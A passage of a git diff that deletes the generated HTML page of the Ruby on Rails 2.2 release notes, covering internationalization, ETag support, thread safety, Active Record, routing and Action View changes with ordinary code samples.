-(?<!\\)&lt;\==&lt;=
-\\&lt;\==&lt;= \ No newline at end of file
diff --git a/railties/doc/guides/html/2_2_release_notes.html b/railties/doc/guides/html/2_2_release_notes.html
deleted file mode 100644
index 0dec014c3e..0000000000
--- a/railties/doc/guides/html/2_2_release_notes.html
+++ /dev/null
@@ -1,1006 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Ruby on Rails 2.2 Release Notes</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_infrastructure">Infrastructure</a>
- <ul>
-
- <li><a href="#_internationalization">Internationalization</a></li>
-
- <li><a href="#_compatibility_with_ruby_1_9_and_jruby">Compatibility with Ruby 1.9 and JRuby</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_documentation">Documentation</a>
- </li>
- <li>
- <a href="#_better_integration_with_http_out_of_the_box_etag_support">Better integration with HTTP : Out of the box ETag support</a>
- </li>
- <li>
- <a href="#_thread_safety">Thread Safety</a>
- </li>
- <li>
- <a href="#_active_record">Active Record</a>
- <ul>
-
- <li><a href="#_transactional_migrations">Transactional Migrations</a></li>
-
- <li><a href="#_connection_pooling">Connection Pooling</a></li>
-
- <li><a href="#_hashes_for_join_table_conditions">Hashes for Join Table Conditions</a></li>
-
- <li><a href="#_new_dynamic_finders">New Dynamic Finders</a></li>
-
- <li><a href="#_associations_respect_private_protected_scope">Associations Respect Private/Protected Scope</a></li>
-
- <li><a href="#_other_activerecord_changes">Other ActiveRecord Changes</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_action_controller">Action Controller</a>
- <ul>
-
- <li><a href="#_shallow_route_nesting">Shallow Route Nesting</a></li>
-
- <li><a href="#_method_arrays_for_member_or_collection_routes">Method Arrays for Member or Collection Routes</a></li>
-
- <li><a href="#_resources_with_specific_actions">Resources With Specific Actions</a></li>
-
- <li><a href="#_other_action_controller_changes">Other Action Controller Changes</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_action_view">Action View</a>
- </li>
- <li>
- <a href="#_action_mailer">Action Mailer</a>
- </li>
- <li>
- <a href="#_active_support">Active Support</a>
- <ul>
-
- <li><a href="#_memoization">Memoization</a></li>
-
- <li><a href="#_tt_each_with_object_tt"><tt>each_with_object</tt></a></li>
-
- <li><a href="#_delegates_with_prefixes">Delegates With Prefixes</a></li>
-
- <li><a href="#_other_active_support_changes">Other Active Support Changes</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_railties">Railties</a>
- <ul>
-
- <li><a href="#_tt_config_gems_tt"><tt>config.gems</tt></a></li>
-
- <li><a href="#_other_railties_changes">Other Railties Changes</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_deprecated">Deprecated</a>
- </li>
- <li>
- <a href="#_credits">Credits</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Ruby on Rails 2.2 Release Notes</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn&#8217;t include every little bug fix and change. If you want to see everything, check out the <a href="http://github.com/rails/rails/commits/master">list of commits</a> in the main Rails repository on GitHub.</p></div>
-<div class="paragraph"><p>Along with Rails, 2.2 marks the launch of the <a href="http://guides.rubyonrails.org/">Ruby on Rails Guides</a>, the first results of the ongoing <a href="http://hackfest.rubyonrails.org/guide">Rails Guides hackfest</a>. This site will deliver high-quality documentation of the major features of Rails.</p></div>
-</div>
-</div>
-<h2 id="_infrastructure">1. Infrastructure</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.</p></div>
-<h3 id="_internationalization">1.1. Internationalization</h3>
-<div class="paragraph"><p>Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Lead Contributors: Rails i18 Team
-</p>
-</li>
-<li>
-<p>
-More information :
-</p>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://rails-i18n.org">Official Rails i18 website</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized">Finally. Ruby on Rails gets internationalized</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://i18n-demo.phusion.nl">Localizing Rails : Demo application</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<h3 id="_compatibility_with_ruby_1_9_and_jruby">1.2. Compatibility with Ruby 1.9 and JRuby</h3>
-<div class="paragraph"><p>Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.</p></div>
-</div>
-<h2 id="_documentation">2. Documentation</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the <a href="http://guides.rubyonrails.org/">Ruby on Rails Guides</a> project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/getting_started_with_rails.html">Getting Started with Rails</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/migrations.html">Rails Database Migrations</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/association_basics.html">Active Record Associations</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/finders.html">Active Record Finders</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/layouts_and_rendering.html">Layouts and Rendering in Rails</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/form_helpers.html">Action View Form Helpers</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/routing_outside_in.html">Rails Routing from the Outside In</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/actioncontroller_basics.html">Basics of Action Controller</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/caching_with_rails.html">Rails Caching</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/testing_rails_applications.html">Testing Rails Applications</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/security.html">Securing Rails Applications</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/debugging_rails_applications.html">Debugging Rails Applications</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/benchmarking_and_profiling.html">Benchmarking and Profiling Rails Applications</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/creating_plugins.html">The Basics of Creating Rails Plugins</a>
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.</p></div>
-<div class="paragraph"><p>If you want to generate these guides locally, inside your application:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>rake doc<span style="color: #990000">:</span>guides</tt></pre></div></div>
-<div class="paragraph"><p>This will put the guides inside <tt>RAILS_ROOT/doc/guides</tt> and you may start surfing straight away by opening <tt>RAILS_ROOT/doc/guides/index.html</tt> in your favourite browser.</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Lead Contributors: <a href="http://guides.rails.info/authors.html">Rails Documentation Team</a>
-</p>
-</li>
-<li>
-<p>
-Major contributions from <a href="http://advogato.org/person/fxn/diary.html">Xavier Noria</a> and <a href="http://izumi.plan99.net/blog/">Hongli Lai</a>.
-</p>
-</li>
-<li>
-<p>
-More information:
-</p>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://hackfest.rubyonrails.org/guide">Rails Guides hackfest</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch">Help improve Rails documentation on Git branch</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-</div>
-<h2 id="_better_integration_with_http_out_of_the_box_etag_support">3. Better integration with HTTP : Out of the box ETag support</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn&#8217;t been modified lately. This allows you to check whether a response needs to be sent at all.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ArticlesController <span style="color: #990000">&lt;</span> ApplicationController
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show_with_respond_to_block
- <span style="color: #009900">@article</span> <span style="color: #990000">=</span> Article<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># If the request sends headers that differs from the options provided to stale?, then</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># the request is indeed stale and the respond_to block is triggered (and the options</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># to the stale? call is set on the response).</span></span>
- <span style="font-style: italic"><span style="color: #9A1900">#</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># If the request headers match, then the request is fresh and the respond_to block is</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># not triggered. Instead the default render will occur, which will check the last-modified</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># and etag headers and conclude that it only needs to send a "304 Not Modified" instead</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># of rendering the template.</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> stale?<span style="color: #990000">(:</span>last_modified <span style="color: #990000">=&gt;</span> <span style="color: #009900">@article</span><span style="color: #990000">.</span>published_at<span style="color: #990000">.</span>utc<span style="color: #990000">,</span> <span style="color: #990000">:</span>etag <span style="color: #990000">=&gt;</span> <span style="color: #009900">@article</span><span style="color: #990000">)</span>
- respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>wants<span style="color: #990000">|</span>
- <span style="font-style: italic"><span style="color: #9A1900"># normal response processing</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show_with_implied_render
- <span style="color: #009900">@article</span> <span style="color: #990000">=</span> Article<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># Sets the response headers and checks them against the request, if the request is stale</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># (i.e. no match of either etag or last-modified), then the default render of the template happens.</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># If the request is fresh, then the default render will return a "304 Not Modified"</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># instead of rendering the template.</span></span>
- fresh_when<span style="color: #990000">(:</span>last_modified <span style="color: #990000">=&gt;</span> <span style="color: #009900">@article</span><span style="color: #990000">.</span>published_at<span style="color: #990000">.</span>utc<span style="color: #990000">,</span> <span style="color: #990000">:</span>etag <span style="color: #990000">=&gt;</span> <span style="color: #009900">@article</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-</div>
-<h2 id="_thread_safety">4. Thread Safety</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.</p></div>
-<div class="paragraph"><p>To enable multithreaded dispatching in production mode of your application, add the following line in your <tt>config/environments/production.rb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>threadsafe!</tt></pre></div></div>
-<div class="ulist"><ul>
-<li>
-<p>
-More information :
-</p>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://m.onkey.org/2008/10/23/thread-safety-for-your-rails">Thread safety for your Rails</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core">Thread safety project announcement</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html">Q/A: What Thread-safe Rails Means</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-</div>
-<h2 id="_active_record">5. Active Record</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>There are two big additions to talk about here: transactional migrations and pooled database transactions. There&#8217;s also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.</p></div>
-<h3 id="_transactional_migrations">5.1. Transactional Migrations</h3>
-<div class="paragraph"><p>Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn&#8217;t applied. Also, the migration version was stored as having been executed, which means that it couldn&#8217;t be simply rerun by <tt>rake db:migrate:redo</tt> after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Lead Contributor: <a href="http://adam.blog.heroku.com/">Adam Wiggins</a>
-</p>
-</li>
-<li>
-<p>
-More information:
-</p>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://adam.blog.heroku.com/past/2008/9/3/ddl_transactions/">DDL Transactions</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/">A major milestone for DB2 on Rails</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<h3 id="_connection_pooling">5.2. Connection Pooling</h3>
-<div class="paragraph"><p>Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a <tt>pool</tt> key to your <tt>database.yml</tt> to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There&#8217;s also a <tt>wait_timeout</tt> that defaults to 5 seconds before giving up. <tt>ActiveRecord::Base.connection_pool</tt> gives you direct access to the pool if you need it.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>development<span style="color: #990000">:</span>
- adapter<span style="color: #990000">:</span> mysql
- username<span style="color: #990000">:</span> root
- database<span style="color: #990000">:</span> sample_development
- pool<span style="color: #990000">:</span> <span style="color: #993399">10</span>
- wait_timeout<span style="color: #990000">:</span> <span style="color: #993399">10</span></tt></pre></div></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Lead Contributor: <a href="http://blog.nicksieger.com/">Nick Sieger</a>
-</p>
-</li>
-<li>
-<p>
-More information:
-</p>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools">What&#8217;s New in Edge Rails: Connection Pools</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<h3 id="_hashes_for_join_table_conditions">5.3. Hashes for Join Table Conditions</h3>
-<div class="paragraph"><p>You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Photo <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>product
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>photos
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-style: italic"><span style="color: #9A1900"># Get all products with copyright-free photos:</span></span>
-Product<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>joins <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>photos <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>copyright <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span> <span style="color: #FF0000">}}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="ulist"><ul>
-<li>
-<p>
-More information:
-</p>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions">What&#8217;s New in Edge Rails: Easy Join Table Conditions</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<h3 id="_new_dynamic_finders">5.4. New Dynamic Finders</h3>
-<div class="paragraph"><p>Two new sets of methods have been added to Active Record&#8217;s dynamic finders family.</p></div>
-<h4 id="_tt_find_last_by_lt_attribute_gt_tt">5.4.1. <tt>find_last_by_&lt;attribute&gt;</tt></h4>
-<div class="paragraph"><p>The <tt>find_last_by_&lt;attribute&gt;</tt> method is equivalent to <tt>Model.last(:conditions =&gt; {:attribute =&gt; value})</tt></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Get the last user who signed up from London</span></span>
-User<span style="color: #990000">.</span>find_last_by_city<span style="color: #990000">(</span><span style="color: #FF0000">'London'</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Lead Contributor: <a href="http://www.workingwithrails.com/person/9147-emilio-tagua">Emilio Tagua</a>
-</p>
-</li>
-</ul></div>
-<h4 id="_tt_find_by_lt_attribute_gt_tt">5.4.2. <tt>find_by_&lt;attribute&gt;!</tt></h4>
-<div class="paragraph"><p>The new bang! version of <tt>find_by_&lt;attribute&gt;!</tt> is equivalent to <tt>Model.first(:conditions =&gt; {:attribute =&gt; value}) || raise ActiveRecord::RecordNotFound</tt> Instead of returning <tt>nil</tt> if it can&#8217;t find a matching record, this method will raise an exception if it cannot find a match.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!</span></span>
-User<span style="color: #990000">.</span>find_by_name!<span style="color: #990000">(</span><span style="color: #FF0000">'Moby'</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Lead Contributor: <a href="http://blog.hasmanythrough.com">Josh Susser</a>
-</p>
-</li>
-</ul></div>
-<h3 id="_associations_respect_private_protected_scope">5.5. Associations Respect Private/Protected Scope</h3>
-<div class="paragraph"><p>Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) <tt>@user.account.private_method</tt> would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use <tt>@user.account.send(:private_method)</tt> (or make the method public instead of private or protected). Please note that if you&#8217;re overriding <tt>method_missing</tt>, you should also override <tt>respond_to</tt> to match the behavior in order for associations to function normally.</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Lead Contributor: Adam Milligan
-</p>
-</li>
-<li>
-<p>
-More information:
-</p>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/">Rails 2.2 Change: Private Methods on Association Proxies are Private</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<h3 id="_other_activerecord_changes">5.6. Other ActiveRecord Changes</h3>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>rake db:migrate:redo</tt> now accepts an optional VERSION to target that specific migration to redo
-</p>
-</li>
-<li>
-<p>
-Set <tt>config.active_record.timestamped_migrations = false</tt> to have migrations with numeric prefix instead of UTC timestamp.
-</p>
-</li>
-<li>
-<p>
-Counter cache columns (for associations declared with <tt>:counter_cache =&gt; true</tt>) do not need to be initialized to zero any longer.
-</p>
-</li>
-<li>
-<p>
-<tt>ActiveRecord::Base.human_name</tt> for an internationalization-aware humane translation of model names
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_action_controller">6. Action Controller</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.</p></div>
-<h3 id="_shallow_route_nesting">6.1. Shallow Route Nesting</h3>
-<div class="paragraph"><p>Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publishers<span style="color: #990000">,</span> <span style="color: #990000">:</span>shallow <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>publisher<span style="color: #990000">|</span>
- publisher<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
- magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This will enable recognition of (among others) these routes:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>/publishers/1 ==&gt; publisher_path(1)
-/publishers/1/magazines ==&gt; publisher_magazines_path(1)
-/magazines/2 ==&gt; magazine_path(2)
-/magazines/2/photos ==&gt; magazines_photos_path(2)
-/photos/3 ==&gt; photo_path(3)</tt></pre>
-</div></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Lead Contributor: <a href="http://www.unwwwired.net/">S. Brent Faulkner</a>
-</p>
-</li>
-<li>
-<p>
-More information:
-</p>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://guides.rails.info/routing/routing_outside_in.html#_nested_resources">Rails Routing from the Outside In</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes">What&#8217;s New in Edge Rails: Shallow Routes</a>
-</p>
-</li>
-</ul></div>
-</li>
-</ul></div>
-<h3 id="_method_arrays_for_member_or_collection_routes">6.2. Method Arrays for Member or Collection Routes</h3>
-<div class="paragraph"><p>You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>collection <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>search <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>get<span style="color: #990000">,</span> <span style="color: #990000">:</span>post<span style="color: #990000">]</span> <span style="color: #FF0000">}</span></tt></pre></div></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Lead Contributor: <a href="http://brennandunn.com/">Brennan Dunn</a>
-</p>
-</li>
-</ul></div>
-<h3 id="_resources_with_specific_actions">6.3. Resources With Specific Actions</h3>
-<div class="paragraph"><p>By default, when you use <tt>map.resources</tt> to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the <tt>:only</tt> and <tt>:except</tt> options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special <tt>:all</tt> or <tt>:none</tt> options. These options are inherited by nested resources.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>index<span style="color: #990000">,</span> <span style="color: #990000">:</span>show<span style="color: #990000">]</span>
-map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>except <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>destroy</tt></pre></div></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Lead Contributor: <a href="http://experthuman.com/">Tom Stuart</a>
-</p>
-</li>
-</ul></div>
-<h3 id="_other_action_controller_changes">6.4. Other Action Controller Changes</h3>
-<div class="ulist"><ul>
-<li>
-<p>
-You can now easily <a href="http://m.onkey.org/2008/7/20/rescue-from-dispatching">show a custom error page</a> for exceptions raised while routing a request.
-</p>
-</li>
-<li>
-<p>
-The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as <tt>/customers/1.xml</tt>) to indicate the format that you want. If you need the Accept headers, you can turn them back on with <tt>config.action_controller.use_accept_header = true</tt>.
-</p>
-</li>
-<li>
-<p>
-Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
-</p>
-</li>
-<li>
-<p>
-Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
-</p>
-</li>
-<li>
-<p>
-<tt>redirect_to</tt> now fully supports URI schemes (so, for example, you can redirect to a svn+ssh: URI).
-</p>
-</li>
-<li>
-<p>
-<tt>render</tt> now supports a <tt>:js</tt> option to render plain vanilla javascript with the right mime type.
-</p>
-</li>
-<li>
-<p>
-Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
-</p>
-</li>
-<li>
-<p>
-Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling <tt>polymorphic_path([@project, @date, @area])</tt> with a nil date will give you <tt>project_area_path</tt>.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_action_view">7. Action View</h2>
-<div class="sectionbody">
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>javascript_include_tag</tt> and <tt>stylesheet_link_tag</tt> support a new <tt>:recursive</tt> option to be used along with <tt>:all</tt>, so that you can load an entire tree of files with a single line of code.
-</p>
-</li>
-<li>
-<p>
-The included Prototype javascript library has been upgraded to version 1.6.0.3.
-</p>
-</li>
-<li>
-<p>
-<tt>RJS#page.reload</tt> to reload the browser&#8217;s current location via javascript
-</p>
-</li>
-<li>
-<p>
-The <tt>atom_feed</tt> helper now takes an <tt>:instruct</tt> option to let you insert XML processing instructions.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_action_mailer">8. Action Mailer</h2>
-<div class="sectionbody">
